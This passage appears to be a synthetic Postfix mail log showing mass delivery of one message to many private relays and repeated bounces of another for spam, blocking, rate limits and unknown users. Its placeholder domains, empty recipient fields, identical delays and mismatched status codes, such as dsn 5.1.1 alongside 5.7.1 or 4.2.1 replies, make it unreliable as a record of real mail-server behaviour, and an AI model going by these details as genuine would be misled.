A3B4C12345: to=, relay=192.168.171.52[192.168.171.52]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:01:50 mail-server postfix/smtp[11394]: D4E5F67890: to=, relay=example.com[10.0.0.4]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host mailservice.net said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:01:50 mail-server postfix/smtp[14119]: A3B4C12345: to=, relay=192.168.177.9[192.168.177.9]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:01:51 mail-server postfix/smtp[13825]: A3B4C12345: to=, relay=192.168.236.116[192.168.236.116]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:01:52 mail-server postfix/smtp[14950]: D4E5F67890: to=, relay=example.com[10.0.0.5]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host mailservice.net said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:01:52 mail-server postfix/smtp[19800]: A3B4C12345: to=, relay=192.168.99.162[192.168.99.162]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:01:53 mail-server postfix/smtp[14040]: D4E5F67890: to=, relay=fake-email.com[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 550 5.1.1 User unknown) +Aug 26 10:01:54 mail-server postfix/smtp[15798]: A3B4C12345: to=, relay=192.168.186.156[192.168.186.156]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:01:57 mail-server postfix/smtp[11565]: A3B4C12345: to=, relay=192.168.230.236[192.168.230.236]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:01:57 mail-server postfix/smtp[11714]: A3B4C12345: to=, relay=192.168.217.236[192.168.217.236]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:01:59 mail-server postfix/smtp[13494]: A3B4C12345: to=, relay=192.168.185.164[192.168.185.164]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:00 mail-server postfix/smtp[15011]: A3B4C12345: to=, relay=192.168.165.89[192.168.165.89]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:02 mail-server postfix/smtp[13518]: D4E5F67890: to=, relay=mailservice.net[10.0.0.5]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:02:02 mail-server postfix/smtp[18715]: A3B4C12345: to=, relay=192.168.202.202[192.168.202.202]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:03 mail-server postfix/smtp[15633]: D4E5F67890: to=, relay=test-domain.io[10.0.0.3]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:02:03 mail-server postfix/smtp[18218]: D4E5F67890: to=, relay=mailservice.net[10.0.0.1]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host webhost.org said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:02:04 mail-server postfix/smtp[10080]: D4E5F67890: to=, relay=mailservice.net[10.0.0.1]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:02:04 mail-server postfix/smtp[19071]: A3B4C12345: to=, relay=192.168.104.93[192.168.104.93]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:05 mail-server postfix/smtp[18269]: A3B4C12345: to=, relay=192.168.107.212[192.168.107.212]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:05 mail-server postfix/smtp[19505]: A3B4C12345: to=, relay=192.168.85.249[192.168.85.249]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:06 mail-server postfix/smtp[13666]: A3B4C12345: to=, relay=192.168.80.198[192.168.80.198]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:08 mail-server postfix/smtp[17276]: D4E5F67890: to=, relay=webhost.org[10.0.0.3]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host webhost.org said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:02:09 mail-server postfix/smtp[12557]: A3B4C12345: to=, relay=192.168.190.167[192.168.190.167]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:09 mail-server postfix/smtp[13136]: A3B4C12345: to=, relay=192.168.31.13[192.168.31.13]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:09 mail-server postfix/smtp[16317]: A3B4C12345: to=, relay=192.168.169.237[192.168.169.237]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:10 mail-server postfix/smtp[14909]: A3B4C12345: to=, relay=192.168.192.35[192.168.192.35]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:12 mail-server postfix/smtp[12741]: A3B4C12345: to=, relay=192.168.175.65[192.168.175.65]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:13 mail-server postfix/smtp[15412]: A3B4C12345: to=, relay=192.168.146.128[192.168.146.128]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:14 mail-server postfix/smtp[16756]: A3B4C12345: to=, relay=192.168.245.121[192.168.245.121]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:14 mail-server postfix/smtp[19388]: A3B4C12345: to=, relay=192.168.212.149[192.168.212.149]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:15 mail-server postfix/smtp[12520]: A3B4C12345: to=, relay=192.168.5.166[192.168.5.166]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:15 mail-server postfix/smtp[15289]: D4E5F67890: to=, relay=test-domain.io[10.0.0.3]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 450 4.2.1 The user you are trying to contact is receiving mail at a rate that prevents additional messages from being delivered) +Aug 26 10:02:17 mail-server postfix/smtp[14210]: D4E5F67890: to=, relay=example.com[10.0.0.1]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host mailservice.net said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:02:18 mail-server postfix/smtp[14136]: A3B4C12345: to=, relay=192.168.201.185[192.168.201.185]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:18 mail-server postfix/smtp[14931]: A3B4C12345: to=, relay=192.168.47.129[192.168.47.129]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:19 mail-server postfix/smtp[18406]: D4E5F67890: to=, relay=mailservice.net[10.0.0.5]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 450 4.2.1 The user you are trying to contact is receiving mail at a rate that prevents additional messages from being delivered) +Aug 26 10:02:22 mail-server postfix/smtp[13379]: A3B4C12345: to=, relay=192.168.171.101[192.168.171.101]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:22 mail-server postfix/smtp[16102]: A3B4C12345: to=, relay=192.168.238.246[192.168.238.246]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:23 mail-server postfix/smtp[11292]: D4E5F67890: to=, relay=fake-email.com[10.0.0.1]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:02:23 mail-server postfix/smtp[15614]: D4E5F67890: to=, relay=webhost.org[10.0.0.5]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host mailservice.net said: 550 5.1.1 User unknown) +Aug 26 10:02:23 mail-server postfix/smtp[17459]: A3B4C12345: to=, relay=192.168.197.175[192.168.197.175]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:24 mail-server postfix/smtp[16072]: A3B4C12345: to=, relay=192.168.210.246[192.168.210.246]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:25 mail-server postfix/smtp[12765]: A3B4C12345: to=, relay=192.168.68.42[192.168.68.42]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:25 mail-server postfix/smtp[14678]: A3B4C12345: to=, relay=192.168.156.22[192.168.156.22]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:28 mail-server postfix/smtp[11426]: A3B4C12345: to=, relay=192.168.78.90[192.168.78.90]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:28 mail-server postfix/smtp[17098]: A3B4C12345: to=, relay=192.168.242.144[192.168.242.144]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:29 mail-server postfix/smtp[19155]: D4E5F67890: to=, relay=mailservice.net[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host fake-email.com said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:02:30 mail-server CRON[9717]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:02:30 mail-server postfix/smtp[11112]: D4E5F67890: to=, relay=test-domain.io[10.0.0.5]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host fake-email.com said: 450 4.2.1 The user you are trying to contact is receiving mail at a rate that prevents additional messages from being delivered) +Aug 26 10:02:30 mail-server postfix/smtp[17011]: D4E5F67890: to=, relay=test-domain.io[10.0.0.4]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 10:02:31 mail-server postfix/smtp[12478]: A3B4C12345: to=, relay=192.168.254.205[192.168.254.205]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:33 mail-server postfix/smtp[12491]: A3B4C12345: to=, relay=192.168.147.231[192.168.147.231]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:33 mail-server postfix/smtp[12717]: A3B4C12345: to=, relay=192.168.177.169[192.168.177.169]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:33 mail-server postfix/smtp[16911]: A3B4C12345: to=, relay=192.168.226.90[192.168.226.90]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:35 mail-server postfix/smtp[10461]: A3B4C12345: to=, relay=192.168.74.135[192.168.74.135]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:36 mail-server postfix/smtp[15777]: D4E5F67890: to=, relay=fake-email.com[10.0.0.1]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host mailservice.net said: 550 5.1.1 User unknown) +Aug 26 10:02:37 mail-server postfix/smtp[16241]: D4E5F67890: to=, relay=mailservice.net[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host webhost.org said: 450 4.2.1 The user you are trying to contact is receiving mail at a rate that prevents additional messages from being delivered) +Aug 26 10:02:39 mail-server postfix/smtp[16271]: A3B4C12345: to=, relay=192.168.120.105[192.168.120.105]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:39 mail-server postfix/smtp[19581]: A3B4C12345: to=, relay=192.168.193.18[192.168.193.18]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:42 mail-server postfix/smtp[11353]: A3B4C12345: to=, relay=192.168.254.236[192.168.254.236]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:43 mail-server postfix/smtp[14590]: A3B4C12345: to=, relay=192.168.84.18[192.168.84.18]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:43 mail-server postfix/smtp[14985]: A3B4C12345: to=, relay=192.168.99.81[192.168.99.81]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:44 mail-server postfix/smtp[12593]: A3B4C12345: to=, relay=192.168.125.245[192.168.125.245]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:44 mail-server postfix/smtp[15848]: A3B4C12345: to=, relay=192.168.80.47[192.168.80.47]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:44 mail-server postfix/smtp[19868]: D4E5F67890: to=, relay=webhost.org[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:02:45 mail-server postfix/smtp[14726]: D4E5F67890: to=, relay=mailservice.net[10.0.0.3]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:02:45 mail-server postfix/smtp[15465]: A3B4C12345: to=, relay=192.168.33.173[192.168.33.173]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:45 mail-server postfix/smtp[18799]: A3B4C12345: to=, relay=192.168.208.35[192.168.208.35]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:47 mail-server postfix/smtp[12040]: D4E5F67890: to=, relay=test-domain.io[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host webhost.org said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:02:47 mail-server postfix/smtp[16028]: A3B4C12345: to=, relay=192.168.58.5[192.168.58.5]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:48 mail-server postfix/smtp[13614]: D4E5F67890: to=, relay=fake-email.com[10.0.0.3]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:02:52 mail-server postfix/smtp[16174]: D4E5F67890: to=, relay=fake-email.com[10.0.0.3]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host webhost.org said: 450 4.2.1 The user you are trying to contact is receiving mail at a rate that prevents additional messages from being delivered) +Aug 26 10:02:53 mail-server postfix/smtp[17372]: A3B4C12345: to=, relay=192.168.227.149[192.168.227.149]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:54 mail-server postfix/smtp[16821]: A3B4C12345: to=, relay=192.168.73.73[192.168.73.73]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:55 mail-server postfix/smtp[11484]: A3B4C12345: to=, relay=192.168.81.66[192.168.81.66]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:55 mail-server postfix/smtp[17543]: D4E5F67890: to=, relay=test-domain.io[10.0.0.1]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host fake-email.com said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:02:56 mail-server postfix/smtp[11336]: D4E5F67890: to=, relay=webhost.org[10.0.0.5]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host mailservice.net said: 450 4.2.1 The user you are trying to contact is receiving mail at a rate that prevents additional messages from being delivered) +Aug 26 10:02:56 mail-server postfix/smtp[16195]: A3B4C12345: to=, relay=192.168.101.227[192.168.101.227]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:57 mail-server postfix/smtp[10614]: A3B4C12345: to=, relay=192.168.186.116[192.168.186.116]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:02:58 mail-server postfix/smtp[14672]: A3B4C12345: to=, relay=192.168.98.247[192.168.98.247]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:00 mail-server systemd[201]: Starting daily clean up activities... +Aug 26 10:03:01 mail-server postfix/smtp[14762]: A3B4C12345: to=, relay=192.168.53.218[192.168.53.218]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:01 mail-server postfix/smtp[16286]: A3B4C12345: to=, relay=192.168.199.209[192.168.199.209]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:02 mail-server postfix/smtp[11282]: A3B4C12345: to=, relay=192.168.126.159[192.168.126.159]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:02 mail-server postfix/smtp[13990]: A3B4C12345: to=, relay=192.168.133.14[192.168.133.14]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:04 mail-server postfix/smtp[15735]: A3B4C12345: to=, relay=192.168.139.123[192.168.139.123]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:06 mail-server postfix/smtp[14792]: D4E5F67890: to=, relay=test-domain.io[10.0.0.3]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:03:06 mail-server postfix/smtp[16918]: A3B4C12345: to=, relay=192.168.150.40[192.168.150.40]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:06 mail-server postfix/smtp[19723]: D4E5F67890: to=, relay=webhost.org[10.0.0.5]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:03:06 mail-server postfix/smtp[19872]: A3B4C12345: to=, relay=192.168.111.254[192.168.111.254]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:08 mail-server postfix/smtp[12327]: D4E5F67890: to=, relay=test-domain.io[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host webhost.org said: 550 5.1.1 User unknown) +Aug 26 10:03:10 mail-server postfix/smtp[17279]: D4E5F67890: to=, relay=test-domain.io[10.0.0.5]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 550 5.1.1 User unknown) +Aug 26 10:03:12 mail-server postfix/smtp[11702]: A3B4C12345: to=, relay=192.168.138.155[192.168.138.155]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:12 mail-server postfix/smtp[12045]: D4E5F67890: to=, relay=example.com[10.0.0.5]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 10:03:15 mail-server postfix/smtp[17108]: A3B4C12345: to=, relay=192.168.97.137[192.168.97.137]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:15 mail-server postfix/smtp[17711]: A3B4C12345: to=, relay=192.168.188.253[192.168.188.253]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:19 mail-server postfix/smtp[16511]: A3B4C12345: to=, relay=192.168.81.220[192.168.81.220]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:20 mail-server postfix/smtp[19424]: A3B4C12345: to=, relay=192.168.207.158[192.168.207.158]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:20 mail-server postfix/smtp[19637]: A3B4C12345: to=, relay=192.168.164.23[192.168.164.23]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:21 mail-server postfix/smtp[11107]: D4E5F67890: to=, relay=webhost.org[10.0.0.1]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host webhost.org said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:03:21 mail-server postfix/smtp[11130]: A3B4C12345: to=, relay=192.168.122.24[192.168.122.24]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:21 mail-server postfix/smtp[12156]: A3B4C12345: to=, relay=192.168.54.240[192.168.54.240]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:21 mail-server postfix/smtp[16790]: D4E5F67890: to=, relay=example.com[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host fake-email.com said: 450 4.2.1 The user you are trying to contact is receiving mail at a rate that prevents additional messages from being delivered) +Aug 26 10:03:23 mail-server postfix/smtp[17555]: D4E5F67890: to=, relay=mailservice.net[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 10:03:25 mail-server postfix/smtp[10403]: A3B4C12345: to=, relay=192.168.30.95[192.168.30.95]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:25 mail-server postfix/smtp[19158]: A3B4C12345: to=, relay=192.168.79.164[192.168.79.164]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:26 mail-server postfix/smtp[12791]: A3B4C12345: to=, relay=192.168.233.216[192.168.233.216]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:28 mail-server postfix/smtp[12617]: A3B4C12345: to=, relay=192.168.218.214[192.168.218.214]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:30 mail-server postfix/smtp[15152]: A3B4C12345: to=, relay=192.168.173.143[192.168.173.143]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:31 mail-server postfix/smtp[11233]: A3B4C12345: to=, relay=192.168.162.12[192.168.162.12]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:33 mail-server postfix/smtp[19690]: A3B4C12345: to=, relay=192.168.43.5[192.168.43.5]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:35 mail-server postfix/smtp[11084]: A3B4C12345: to=, relay=192.168.38.24[192.168.38.24]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:35 mail-server postfix/smtp[15517]: D4E5F67890: to=, relay=mailservice.net[10.0.0.3]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host mailservice.net said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:03:36 mail-server postfix/smtp[17813]: D4E5F67890: to=, relay=fake-email.com[10.0.0.4]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 10:03:36 mail-server postfix/smtp[18073]: A3B4C12345: to=, relay=192.168.61.130[192.168.61.130]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:40 mail-server postfix/smtp[17025]: A3B4C12345: to=, relay=192.168.15.66[192.168.15.66]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:41 mail-server postfix/smtp[12532]: A3B4C12345: to=, relay=192.168.38.133[192.168.38.133]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:41 mail-server postfix/smtp[14834]: A3B4C12345: to=, relay=192.168.157.124[192.168.157.124]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:44 mail-server postfix/smtp[12388]: A3B4C12345: to=, relay=192.168.65.35[192.168.65.35]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:44 mail-server postfix/smtp[14132]: A3B4C12345: to=, relay=192.168.49.91[192.168.49.91]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:45 mail-server postfix/smtp[14864]: A3B4C12345: to=, relay=192.168.183.79[192.168.183.79]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:46 mail-server postfix/smtp[17342]: A3B4C12345: to=, relay=192.168.123.211[192.168.123.211]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:47 mail-server postfix/smtp[16232]: D4E5F67890: to=, relay=test-domain.io[10.0.0.4]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:03:47 mail-server postfix/smtp[19121]: A3B4C12345: to=, relay=192.168.211.137[192.168.211.137]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:48 mail-server postfix/smtp[13248]: D4E5F67890: to=, relay=test-domain.io[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host fake-email.com said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:03:48 mail-server postfix/smtp[13986]: A3B4C12345: to=, relay=192.168.187.8[192.168.187.8]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 